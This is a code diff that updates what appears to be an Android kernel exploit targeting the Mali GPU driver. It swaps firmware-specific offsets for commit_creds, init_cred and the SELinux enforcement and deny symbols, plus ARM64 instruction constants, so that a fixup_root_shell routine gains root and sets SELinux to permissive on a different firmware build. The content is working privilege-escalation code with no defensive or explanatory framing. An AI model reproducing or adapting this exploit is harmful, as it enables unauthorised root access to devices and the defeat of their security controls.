diff --git a/firmware_offsets.h b/firmware_offsets.h index 30f6699..873db06 100644 --- a/firmware_offsets.h +++ b/firmware_offsets.h @@ -1,16 +1,16 @@ #ifndef FIRMWARE_OFFSETS_H #define FIRMWARE_OFFSETS_H -#define AVC_DENY_2311 0x806b50 +#define AVC_DENY_2308 0x8068b0 -#define SEL_READ_ENFORCE_2311 0x818714 +#define SEL_READ_ENFORCE_2308 0x818474 -#define INIT_CRED_2311 0x271bfa8 +#define INIT_CRED_2308 0x271bfa8 -#define COMMIT_CREDS_2311 0x167b40 +#define COMMIT_CREDS_2308 0x167b40 -#define ADD_COMMIT_2311 0x912d0108 //add x8, x8, #0xb40 +#define ADD_INIT_2308 0x913ea000 //add x0, x0, #0xfa8 -#define ADD_INIT_2311 0x913ea000 //add x0, x0, #0xfa8 +#define ADD_COMMIT_2308 0x912d0108 //add x8, x8, #0xb40 #endif diff --git a/mali_jit_csf.c b/mali_jit_csf.c index 724d031..b8376d5 100644 --- a/mali_jit_csf.c +++ b/mali_jit_csf.c @@ -51,9 +51,9 @@ static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE]; uint64_t reused_regions[REUSE_REG_SIZE] = {0}; -static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2311; +static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2308; -static uint64_t avc_deny = AVC_DENY_2311; +static uint64_t avc_deny = AVC_DENY_2308; /* Overwriting SELinux to permissive @@ -290,7 +290,7 @@ int main() { setbuf(stdout, NULL); setbuf(stderr, NULL); - fixup_root_shell(INIT_CRED_2311, COMMIT_CREDS_2311, SEL_READ_ENFORCE_2311, ADD_INIT_2311, ADD_COMMIT_2311, &(root_code[0])); + fixup_root_shell(INIT_CRED_2308, COMMIT_CREDS_2308, SEL_READ_ENFORCE_2308, ADD_INIT_2308, ADD_COMMIT_2308, &(root_code[0])); cl_platform_id platform_id = NULL; cl_device_id device_id = NULL; cl_uint ret_num_devices;